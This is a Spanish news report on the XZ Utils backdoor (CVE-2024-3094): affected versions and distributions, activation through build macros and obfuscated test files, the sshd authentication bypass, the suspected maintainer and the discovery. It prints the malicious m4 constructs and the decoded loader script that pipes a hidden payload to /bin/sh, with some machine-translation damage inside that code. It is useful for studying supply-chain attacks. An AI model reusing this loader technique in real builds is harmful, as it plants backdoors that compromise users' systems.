Se descubrió una puerta trasera (CVE-2024-3094) en el paquete XZ Utils, que incluye la biblioteca liblzma y utilidades para trabajar con datos comprimidos en formato ".xz". Esta puerta trasera permite interceptar y modificar los datos procesados por aplicaciones vinculadas a la biblioteca liblzma. El objetivo principal de la puerta trasera es el servidor OpenSSH, que en algunas distribuciones está vinculado a la biblioteca libsystemd, que a su vez utiliza liblzma. Vincular sshd a la biblioteca vulnerable permite a los atacantes acceder al servidor SSH sin autenticación.
La puerta trasera estaba presente en las versiones oficiales 5.6.0 y 5.6.1, publicadas el 24 de febrero y el 9 de marzo, que lograron infiltrarse en algunas distribuciones y repositorios, por ejemplo, Gentoo y Arch. Linux, Debian sid/unstable, Fedora Rawhide y 40-beta, openSUSE factory y tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Se recomienda a todos los usuarios de las versiones xz 5.6.0 y 5.6.1 que actualicen inmediatamente a la versión 5.4.6.
Un factor atenuante es que la versión de liblzma con puerta trasera no llegó a las versiones estables de las principales distribuciones, pero sí afectó a openSUSE Tumbleweed y Fedora 40-beta. Arch Linux Gentoo utilizaba una versión vulnerable de zx, pero no era vulnerable al ataque porque no aplicaba el parche systemd-notify a openssh, lo que provocaba que sshd se vinculara con liblzma. La puerta trasera solo afecta a los sistemas basados en el kernel x86_64. Linux y la biblioteca C Glibc.
El código de activación de la puerta trasera se ocultó en las macros m4 del archivo build-to-host.m4, utilizado por el kit de herramientas automake durante la compilación. Durante la compilación, complejas operaciones ofuscadas basadas en archivos (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) utilizadas para probar la operación correcta generaron un archivo objeto con código malicioso. Este código se incluyó en la biblioteca liblzma y alteró la lógica de algunas de sus funciones. Las macros m4 que activaron la puerta trasera se incluyeron en los archivos tar de la versión, pero no estaban en el repositorio Git. Sin embargo, sí había archivos de prueba maliciosos en el repositorio, lo que significa que el inyector de la puerta trasera tenía acceso tanto al repositorio como a los procesos de generación de la versión.
Al usar liblzma en aplicaciones, se podían usar modificaciones maliciosas para interceptar o modificar datos e interferir con el funcionamiento de sshd. En concreto, el código malicioso sustituía la función RSA_public_decrypt para eludir la autenticación de sshd. La puerta trasera incluía protección contra la detección y permanecía oculta cuando se configuraban las variables de entorno LANG y TERM (es decir, al ejecutar el proceso en una terminal) y no se configuraban las variables de entorno LD_DEBUG y LD_PROFILE. Además, solo se activaba al ejecutar el ejecutable /usr/sbin/sshd. La puerta trasera también permitía detectar la ejecución en entornos de depuración.
En particular, el archivo m4/build-to-host.m4 utilizó las siguientes construcciones: gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
En la primera construcción, la operación grep encontró el archivo tests/files/bad-3-corrupt_lzma2.xz, que, al descomprimirse, generó el script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux" ] && salir 0 [ ! $(uname) = "Linux" ] && salir 0 [ ! $(uname) = "Linux" ] && salir 0 [ ! $(uname) = "Linux" ] && salir 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Mundo####
Aún no está claro cómo los atacantes lograron acceder a la infraestructura del proyecto xz. Tampoco está claro cuántos usuarios y proyectos se vieron comprometidos como resultado de la puerta trasera. El presunto autor de la puerta trasera (JiaT75 — Jia Tan), quien publicó archivos que contenían código malicioso en el repositorio, se comunicó con desarrolladores de Fedora y envió solicitudes de extracción a DebianEn relación con la transición de la distribución a la rama xz 5.6.0, no despertó sospechas, ya que había participado en el desarrollo de xz durante los últimos dos años y es el segundo mayor colaborador. Además del proyecto xz, el presunto autor de la puerta trasera también contribuyó a los paquetes xz-java y xz-embedded. Asimismo, Jia Tan fue nombrado recientemente mantenedor del proyecto XZ Embedded, que se utiliza en el kernel. Linux.
El cambio malicioso se descubrió después de analizar el consumo excesivo de CPU y los errores devueltos por valgrind al conectarse a través de ssh a sistemas basados en Debian Cabe destacar que la versión xz 5.6.1 incluyó cambios preparados por el presunto autor de la puerta trasera en respuesta a las quejas sobre ralentizaciones y fallos de sshd que se produjeron tras actualizar a zx 5.6.0, que contenía la puerta trasera. Además, el año pasado, Jia Tan introdujo cambios incompatibles con el modo de verificación "-fsanitize=address", lo que provocó su desactivación durante las pruebas de fuzzing.
Fuente: opennet.ru
